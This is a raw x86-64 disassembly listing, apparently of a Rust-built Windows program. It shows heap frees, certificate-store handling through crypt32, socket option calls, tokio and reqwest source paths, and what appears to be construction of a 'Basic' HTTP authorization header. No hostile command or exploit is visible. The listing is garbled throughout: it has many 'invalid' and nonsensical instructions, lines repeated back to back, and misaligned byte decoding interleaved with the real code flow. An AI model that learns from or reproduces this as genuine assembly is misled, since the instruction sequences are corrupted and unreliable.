mov ebx, dword [rsi + 0x30]
add rbx, 8
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a75b9
add rbx, 0x18
dec rdi
je 0x1400a75d1
cmp qword [rbx - 8], 0
je 0x1400a75b0
mov r8, qword [rbx]
mov rcx, qword [0x14019f258]
xor edx, edx
call r14
jmp 0x1400a75b0
mov rax, qword [rsi + 0x28]
test rax, rax
je 0x1400a75f7
mov r8, qword [rsi + 0x30]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
jle 0x1400a7f57
add byte [rcx + rdi*2 - 0x3a], dh
and al, 0x28
add ch, bl
ja 0x1400a7fa9
je 0x1400a7fd2
mov byte [rsp + 0x28], 2
jmp 0x1400a7fd7
mov edi, dword [rsi + 8]
mov r14, qword [rdi + 0x10]
mov qword [rsp + 0x28], r14
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001ce10
test r14, r14
je 0x1400a7fec
mov r15, qword [rdi + 8]
xor r12d, r12d
lea rdi, [rsp + 0x30]
lea rbx, [rsp + 0x28]
nop dword [rax + rax]
movzx eax, byte [r15 + r12]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
mov byte [rsp + 0x28], cl
stc
sbb cl, byte [rdi]
xchg edx, eax
rol eax, 0xe1
add eax, 0x4c88c108
and al, 0x28
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.14001ce10
inc r12
cmp r14, r12
jne 0x1400a7fa0
jmp 0x1400a7fec
mov byte [rsp + 0x28], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 1
call fcn.14001ce10
mov rbx, qword [rsi + 0x20]
mov qword [rsp + 0x28], rbx
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001ce10
test rbx, rbx
je 0x1400a8050
mov r14, qword [rsi + 0x18]
xor r15d, r15d
lea rsi, [rsp + 0x30]
lea rdi, [rsp + 0x28]
movzx eax, byte [r14 + r15]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
mov byte [rsp + 0x28], cl
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call fcn.14001ce10
inc r15
cmp rbx, r15
jne 0x1400a8020
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
xor rcx, r9
mov rax, qword [rsp + 0x30]
add rax, rdx
mov r8, qword [rsp + 0x38]
rol rdx, 0xd
add r8, rcx
xor rdx, rax
rol rcx, 0x10
xor rcx, r8
rol rax, 0x20
add r8, rdx
add rax, rcx
rol rdx, 0x11
xor rdx, r8
rol rcx, 0x15
rol r8, 0x20
xor rcx, rax
xor rax, r9
xor r8, 0xff
add rax, rdx
add r8, rcx
rol rdx, 0xd
xor rdx, rax
rol rcx, 0x10
rol rax, 0x20
xor rcx, r8
add r8, rdx
rol rdx, 0x11
add rax, rcx
xor rdx, r8
rol rcx, 0x15
xor rcx, rax
rol r8, 0x20
add rax, rdx
add r8, rcx
rol rdx, 0xd
xor rdx, rax
rol rcx, 0x10
rol rax, 0x20
xor rcx, r8
add r8, rdx
rol rdx, 0x11
add rax, rcx
xor rdx, r8
rol rcx, 0x15
xor rcx, rax
rol r8, 0x20
add rax, rdx
add r8, rcx
rol rdx, 0xd
xor rdx, rax
rol rcx, 0x10
xor rcx, r8
add r8, rdx
rol rdx, 0x11
rol rcx, 0x15
mov rax, r8
rol rax, 0x20
xor rax, rdx
xor rax, rcx
xor rax, r8
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
push rax
mov rdx, qword [rsp + 0x28]
mov r8, rbx
mov r9, r12
call fcn.14002d750
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x1400a834a
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
jmp 0x1400a834a
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
test rbx, rbx
je 0x1400a8683
lea r14, [rdi + 8]
nop word cs:[rax + rax]
mov rax, qword [r14 - 8]
mov rcx, qword [r14]
call qword [rax + 0x18]
add r14, 0x10
dec rbx
jne 0x1400a8670
cmp qword [rsi + 0x28], 0
je 0x1400a86a6
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
neg ecx
jno 0x1400a86dc
mov rax, qword [rdi + 0x10]
lock dec qword [rax]
jne 0x1400a8643
mov rcx, qword [rdi + 0x10]
call fcn.1400ca680
jmp 0x1400a8643
cmp qword [rdi + 0x28], 0
je 0x1400a86fa
mov r8, qword [rdi + 0x20]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
insd dword [rdi], dx
or byte [rax], al
insd dword [rdi], dx
or byte [rax], al
mov rax, qword [rdi + 8]
test rax, rax
je 0x1400a8712
mov r8, qword [rdi + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi + 0x30]
lock dec qword [rax]
jne 0x1400a8643
lea rcx, [rdi + 0x30]
call fcn.140040e50
jmp 0x1400a8643
mov rdx, qword [rsi + 0x1c0]
lock inc qword [rcx]
jle 0x1400a9065
lea rbx, [rsi + 0x158]
lea r13, [rsi + 0x1e8]
mov qword [rsi + 0x1e8], rax
mov qword [rsi + 0x1f0], rcx
mov qword [rsi + 0x1f8], rdx
cmp byte [rsi + 0x151], 0
mov r12, r8
jne 0x1400a8aa2
cmp byte [rbx], 0
je 0x1400a8aa2
lea rdx, [0x14015db88]
mov rcx, rbx
call fcn.1400260b0
test al, al
je 0x1400a8aa2
mov rcx, qword [r13]
xor edx, edx
mov eax, 1
lock cmpxchg qword [rcx], rdx
mov r14, qword [r13]
jne 0x1400a8924
mov rax, qword [r14 + 8]
cmp rax, 1
jne 0x1400a89a3
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rcx - 0x39], cl
invalid
mov qword [r14], 1
mov byte [r14 + 0x77], 1
jmp 0x1400a8aa2
movzx eax, byte [0x14019f308]
mov edx, 0x80
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a908e
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov eax, dword [r14 + 0x38]
mov dword [rsp + 0x3c], eax
mov r11, qword [r14 + 0x30]
movzx eax, byte [r14 + 0x60]
mov byte [rsp + 0x37], al
mov eax, dword [r14 + 0x48]
mov dword [rsp + 0x38], eax
mov rbp, qword [r14 + 0x40]
mov r8d, dword [r14 + 0x58]
mov rax, qword [r14 + 0x50]
movzx r9d, byte [r14 + 0x61]
mov r10d, dword [r14 + 0x62]
cmp byte [r14 + 0x66], 1
jne 0x1400a8a26
movups xmm0, xmmword [r14 + 0x67]
movaps xmmword [rsp + 0x170], xmm0
mov cl, 1
jmp 0x1400a8a28
lea rcx, [rsp + 0x40]
call fcn.1400cc2a0
mov rax, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
lea rcx, [rax + 0xf]
neg rax
and rax, rcx
movups xmm0, xmmword [r14 + 0x70]
movups xmmword [r15 + rax + 0x60], xmm0
movups xmm0, xmmword [r14 + 0x60]
movups xmmword [r15 + rax + 0x50], xmm0
movups xmm0, xmmword [r14 + 0x50]
movups xmmword [r15 + rax + 0x40], xmm0
movups xmm0, xmmword [r14 + 0x10]
movups xmm1, xmmword [r14 + 0x20]
movups xmm2, xmmword [r14 + 0x30]
movups xmm3, xmmword [r14 + 0x40]
movups xmmword [r15 + rax + 0x30], xmm3
movups xmmword [r15 + rax + 0x20], xmm2
movups xmmword [r15 + rax + 0x10], xmm1
movups xmmword [r15 + rax], xmm0
test byte [rsp + 0x58], 1
je 0x1400a90ac
mov qword [r13], r15
mov rcx, r14
call fcn.1400ca680
jmp 0x1400a8a9d
xor ecx, ecx
movzx edx, word [r14 + 0x77]
movups xmm0, xmmword [r14 + 0x10]
movups xmm1, xmmword [r14 + 0x20]
movups xmmword [r15 + 0x10], xmm0
adc byte [r9 + 0xf], r8b
adc dword [rdi + 0x20], ecx
adc byte [r9 + 0xf], r8b
adc dword [rdi + 0x20], ecx
mov qword [r15 + 0x30], r11
mov r11d, dword [rsp + 0x3c]
mov dword [r15 + 0x38], r11d
pop rdi
cmp byte [rcx - 0x77], cl
outsd dx, dword [rsi]
mov r11d, dword [rsp + 0x38]
pop rdi
cmp byte [rcx - 0x77], cl
outsd dx, dword [rsi]
mov r11d, dword [rsp + 0x38]
mov dword [r15 + 0x48], r11d
mov qword [r15 + 0x50], rax
mov dword [r15 + 0x58], r8d
movzx eax, byte [rsp + 0x37]
mov byte [r15 + 0x60], al
mov byte [r15 + 0x61], r9b
mov dword [r15 + 0x62], r10d
mov byte [r15 + 0x66], cl
movaps xmm0, xmmword [rsp + 0x170]
movups xmmword [r15 + 0x67], xmm0
mov word [r15d + 0x77], dx
mov word [r15d + 0x77], dx
lock dec qword [r14]
jne 0x1400a8a99
mov rcx, qword [r13]
call fcn.1400ca680
mov qword [r13], r15
mov byte [r15 + 0x77], 1
lea rax, [rsi + 0x1c8]
cmp dword [rax], 1
jne 0x1400a8ac6
mov rcx, qword [rsi + 0x1d0]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov r15d, 1
jmp 0x1400a8ac9
xor r15d, r15d
mov rcx, qword [rsi + 0x1d8]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx edx, word [rsi + 0x1e4]
lea rcx, [rsi + 0x200]
mov qword [rsi + 0x200], r15
mov qword [rsi + 0x208], r14
mov qword [rsi + 0x210], rax
mov eax, dword [rsi + 0x1e0]
mov dword [rsi + 0x218], eax
mov word [rsi + 0x21c], dx
mov byte [rsi + 0x238], 0
movups xmm0, xmmword [r13]
movups xmmword [rsi + 0x220], xmm0
mov rax, qword [r13 + 0x10]
mov qword [rsi + 0x230], rax
mov rax, qword [rbx + 0x50]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
call fcn.140095f80
mov r9, rdx
mov rdx, rax
mov qword [rsi + 0x240], rax
mov qword [rsi + 0x248], r9
mov r8, r12
lea rcx, [rsp + 0x40]
call qword [r9 + 0x18]
mov r12, qword [rsp + 0x40]
cmp r12, 4
jne 0x1400a8ba5
mov byte [rdi + 0x11], 3
mov al, 3
jmp 0x1400a8d41
mov rbx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x50]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x3c8]
mov r8d, 0x110
call fcn.140121660
mov r14, qword [rsi + 0x240]
mov r13, qword [rsi + 0x248]
mov rax, qword [r13]
test rax, rax
je 0x1400a8be3
mov rcx, r14
call rax
cmp qword [r13 + 8], 0
je 0x1400a8c07
cmp qword [r13 + 0x10], 0x11
jb 0x1400a8bf5
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r12d, 3
jne 0x1400a8d5b
add qword [rax], rax
invalid
add qword [rax], rax
add byte [rax - 0x75], cl
xchg byte [rax], ah
add al, byte [rax]
add al, dh
dec qword [rax]
invalid
mov rax, qword [rsi + 0x220]
lock dec qword [rax]
invalid
or byte [rdi], cl
test dword [rsp + rax], ecx
add byte [rax], al
jne 0x1400a902e
mov rcx, qword [rsi + 0x220]
call fcn.1400ca680
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
je 0x1400a903f
cmp qword [rsi + 0x200], 0
je 0x1400a8c56
mov rcx, qword [rsi + 0x208]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x210]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x1c8], 0
je 0x1400a8c7c
mov rcx, qword [rsi + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
jne 0x1400a8cd8
mov rcx, qword [rsi + 0x1b0]
call fcn.1400ca680
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
je 0x1400a8ce5
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
jne 0x1400a8d05
mov rcx, qword [rsi + 0x148]
call fcn.1400cc150
mov bpl, 2
cmp byte [rsi + 0x140], 2
jne 0x1400a8d11
jmp 0x1400a8d30
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
jne 0x1400a8cb1
mov rcx, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
call case.0x14009a20c.177
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
je 0x1400a8cbe
mov bpl, 2
cmp byte [rsi + 0x140], 2
je 0x1400a8d30
lea rcx, [rsi + 0x138]
mov rax, qword [rsi + 0x120]
mov rdx, qword [rsi + 0x128]
mov r8, qword [rsi + 0x130]
call qword [rax + 0x10]
mov qword [rdi], rbx
mov qword [rdi + 8], r15
mov byte [rdi + 0x10], r14b
mov byte [rdi + 0x11], bpl
mov al, 1
mov byte [rsi + 0x251], al
add rsp, 0x4d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x2b8]
lea rdx, [rsp + 0x3c8]
mov r8d, 0x110
call fcn.140121660
mov qword [rsp + 0x2a0], r12
mov qword [rsp + 0x2a8], rbx
mov qword [rsp + 0x2b0], r15
cmp r12, 2
jne 0x1400a8eff
movzx eax, byte [0x14019f308]
mov edx, 0x128
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a9073
mov rbx, rax
lea rdx, [rsp + 0x2a0]
mov r8d, 0x128
mov rcx, rax
call fcn.140121660
movzx r14d, byte [rsi + 0x252]
lea r15, [0x14015b2d8]
xor ebp, ebp
mov rax, qword [rsi + 0x220]
lock dec qword [rax]
jne 0x1400a8df7
mov rcx, qword [rsi + 0x220]
call fcn.1400ca680
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
jne 0x1400a8e23
mov rcx, qword [rsi + 0x228]
mov rdx, qword [rsi + 0x230]
call case.0x14009a20c.177
cmp qword [rsi + 0x200], 0
jne 0x1400a8e2d
jmp 0x1400a8e3a
cmp qword [rsi + 0x200], 0
je 0x1400a8e3a
mov rcx, qword [rsi + 0x208]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x210]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x1c8], 0
je 0x1400a8e60
mov rcx, qword [rsi + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
jne 0x1400a8ec0
mov rcx, qword [rsi + 0x1b0]
call fcn.1400ca680
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
je 0x1400a8ecd
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
jne 0x1400a8eed
mov rcx, qword [rsi + 0x148]
call fcn.1400cc150
cmp byte [rsi + 0x140], 2
jne 0x1400a8d11
jmp 0x1400a8d30
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
jne 0x1400a8e95
mov rcx, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
call case.0x14009a20c.177
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
je 0x1400a8ea2
cmp byte [rsi + 0x140], 2
jne 0x1400a8d11
jmp 0x1400a8d30
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x2a0]
mov r8d, 0x128
call fcn.140121660
cmp byte [rsi + 0x151], 0
jne 0x1400a8f60
mov rcx, qword [rsp + 0x198]
cmp rcx, 0xffffffffffffffff
je 0x1400a9082
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x40]
mov edx, 6
mov r8d, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400a8fd6
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x170]
mov r8d, 0x128
call fcn.140121660
movzx eax, byte [0x14019f308]
mov edx, 0x128
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a9073
mov rbx, rax
lea rdx, [rsp + 0x40]
mov r8d, 0x128
mov eax, 0x128
mov eax, 0x128
mov rcx, rax
call fcn.140121660
movzx ebp, byte [rsi + 0x152]
movzx r14d, byte [rsi + 0x252]
lea r15, [0x14015b1b8]
mov rax, qword [rsi + 0x220]
lock dec qword [rax]
je 0x1400a8deb
jmp 0x1400a8df7
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r14d, eax
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a909d
mov rbx, rax
shl r14, 0x20
or r14, 2
mov qword [rax], r14
lea rcx, [rsp + 0x170]
call fcn.1400a73b0
lea r15, [0x140159800]
mov rax, qword [rsi + 0x220]
lock dec qword [rax]
je 0x1400a8c22
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
jne 0x1400a8c3f
mov rcx, qword [rsi + 0x228]
mov rdx, qword [rsi + 0x230]
call case.0x14009a20c.177
cmp qword [rsi + 0x200], 0
jne 0x1400a8c49
jmp 0x1400a8c56
ud2
mov ecx, 8
mov edx, 0x128
call fcn.140122190
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140122a00
mov ecx, 8
mov edx, 0x80
call fcn.140122190
mov ecx, 8
mov edx, 8
call fcn.140122190
lea rcx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_sync.rs
call fcn.140122a00
int3
add byte [rbp + 0x31], al
shr bl, 0xe
mov rdx, qword [rdi + 0xa0]
mov r8, qword [rdi + 0xa8]
lea rcx, [rsp + 0x48]
call fcn.14010c010
call fcn.14010c010
mov rcx, qword [rsp + 0x48]
mov r14, qword [rsp + 0x50]
cmp rcx, 2
je 0x1400a95da
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x30], xmm0
lea rax, [rdi + 0xb0]
xchg dword [rax + 0x48000000], esi
mov dword [rdi + 0xb0], ecx
xchg dword [rax + 0x48000000], esi
mov dword [rdi + 0xb0], ecx
mov qword [rdi + 0xb8], r14
movaps xmm0, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], al
sub byte [rsp + 0x30], al
movups xmmword [rdi + 0xc0], xmm0
mov rcx, qword [rsp + 0x40]
mov qword [rdi + 0xd0], rcx
mov qword [rdi + 0xd8], rax
mov rdx, qword [rax + 0x10]
lea r14, [rsp + 0x48]
mov rcx, r14
mov r8, rbx
mov r9b, 1
call fcn.1400ff6a0
movzx eax, byte [rsp + 0x51]
cmp al, 3
jne 0x1400a9456
mov byte [r15], 3
mov byte [rdi + 0xe8], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400a9437
cmp eax, 1
je 0x1400a9400
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140070690]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x124]
mov ecx, r14d
xor cl, 1
cmp byte [rax + 0x125], 0
setne al
or bpl, cl
or bpl, al
je 0x1400a9527
mov rcx, rdi
mov rdx, rbx
call fcn.1401004e0
test al, al
je 0x1400a951b
mov qword [rsi], 4
jmp 0x1400a9629
cmp al, 2
jne 0x1400a9486
mov r14, qword [rsp + 0x48]
jmp 0x1400a95ce
mov rcx, qword [rdi + 0xc8]
cmp rcx, 0xffffffffffffffff
je case.0x14005714b.646
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov r8d, 0x1007
call qword [sym.imp.ws2_32.dll_getsockopt]
cmp eax, 0xffffffff
je 0x1400a95bd
movsxd r14, dword [rsp + 0x30]
test r14, r14
jne 0x1400a95c6
mov rax, qword [rdi + 0xb0]
mov r14, qword [rdi + 0xb8]
mov rcx, qword [rdi + 0xd0]
mov qword [rsp + 0x100], rcx
movups xmm0, xmmword [rdi + 0xc0]
movaps xmmword [rsp + 0xf0], xmm0
mov byte [rdi + 0xe0], 1
cmp rax, 3
je 0x1400a93a7
jmp 0x1400a95e3
mov qword [rsi], 3
jmp 0x1400a9629
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x124], 0
mov rcx, rdi
mov rdx, rbx
call fcn.1401004e0
movzx eax, al
add rax, 3
mov qword [rsi], rax
movzx eax, byte [r15 + 0x128]
cmp eax, 2
je 0x1400a9629
cmp eax, 1
je 0x1400a959a
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r14b
mov byte [rax + 0x125], 0
jmp 0x1400a9629
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r14d, eax
shl r14, 0x20
or r14, 2
lea rcx, [rdi + 0xb0]
call fcn.1400978b0
mov byte [r15], 1
mov eax, 2
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0xe0], rcx
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xd0], xmm0
mov byte [rdi + 0xe8], 1
mov qword [rsi], rax
mov qword [rsi + 8], r14
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0xe0]
mov qword [rsi + 0x20], rax
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
or eax, 0xb5668
call fcn.140122c50
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
je 0x1400a96a0
or eax, dword [rax]
call fcn.140122c50
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140122a00
int3
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a9974
iretd
add al, byte [rax]
invalid
test bh, cl
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], cl
mov edi, dword [rsp + 0x530]
add byte [rsi - 0x39], ah
iretd
mov r15, qword [rsp + 0x530]
add byte [rsi - 0x39], ah
mov word [rax + 4], 0x2063
mov dword [rax], 0x69736142
add al, 0x63
and bh, al
add byte [rdx + 0x61], al
jae 0x1400a9722
mov qword [rsp + 0x28], 6
mov qword [rsp + 0x30], rax
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x38], 6
mov byte [rsp + 0x4c2], 0
mov word [rsp + 0x4c0], 0
add al, 0
add byte [rax], al
add byte [rax - 0x73], cl
pushfq
and al, 0xa0
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax + rax], al
add al, 0
add byte [rax - 0x77], cl
invalid
add al, 0
add byte [rax], al
add byte [rax - 0x73], cl
pushfq
and al, 0xa0
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax + rax], al
add al, 0
add al, 0
add byte [rax - 0x77], cl
fnstenv [rcx]
shr al, cl
invalid
mov ecx, ebx
xor edx, edx
call fcn.140121d00
lea rax, [0x14015c910]
mov qword [rsp + 0x4b8], rax
test byte [rax + rdi*4], ah
add al, 0
add byte [rax - 0x73], cl
and al, 0x28
test byte [rax + rdi*4], ah
add al, 0
add byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x4a0], rax
mov byte [rsp + 0x4c3], 0
ret
add al, 0
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x4a8], xmm0
add al, 0
invalid
ret
adc dword [rsp + 0x4a8], eax
add al, 0
add byte [rax - 0x73], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea r12, [0x140031b60]
mov qword [rsp + 0x48], r12
lea rax, [0x14015c788]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea r13, [rsp + 0x40]
mov qword [rsp + 0x60], r13
mov dword [rsp + 0x60], ebp
invalid
mov qword [rsp + 0x68], 1
lea rdx, [rsp + 0x50]
lea edx, [rsp + 0x50]
invalid
lea edx, [rsp + 0x50]
mov rcx, rbx
call fcn.14009c850
mov rbx, rax
and eax, 3
cmp eax, 1
jne 0x1400a97da
mov r14, qword [rbx - 1]
mov rbp, qword [rbx + 7]
mov rax, qword [rbp]
test rax, rax
je 0x1400a97a1
jge 0x1400a97b0
add byte [rbp + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
jb 0x1400a97b6
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], r15
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r12
and al, 0x48
and al, 0x48
lea rax, [0x14018eb28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x50]
call fcn.14009c850
mov rdi, rax
and eax, 3
cmp eax, 1
jne 0x1400a9893
mov rbx, qword [rdi - 1]
mov r14, qword [rdi + 7]
mov rax, qword [r14]
test rax, rax
je 0x1400a985a
mov rcx, rbx
call rax
dec rdi
cmp qword [r14 + 8], 0
je 0x1400a9881
cmp qword [r14 + 0x10], 0x11
jb 0x1400a986f
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
or eax, 0xf59d0
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xa0]
call fcn.14009d5c0
cmp eax, 0x8b48ffff
push rsp
and al, 0x30
mov r8, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
test r8, r8
je 0x1400a9904
xor eax, eax
jmp 0x1400a98cd
nop word cs:[rax + rax]
cmp cl, 0x7f
je 0x1400a98db
stc
jg 0x1400a9938
invalid
inc rax
cmp r8, rax
je case.0x140097f7d.463
movzx ecx, byte [rdx + rax]
cmp cl, 0x1f
ja 0x1400a98c0
cmp cl, 9
je 0x1400a98c5
lea rax, [0x14015cad8]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcutil.rs
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0xb2b8b
or eax, 0xb2b8b
lea r8, [rsp + 0x50]
mov edx, 0x22
call fcn.140122900
invalid
invalid
invalid
xor r8d, r8d
xor eax, eax
lea rcx, [rsp + 0xa0]
call fcn.140007d10
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
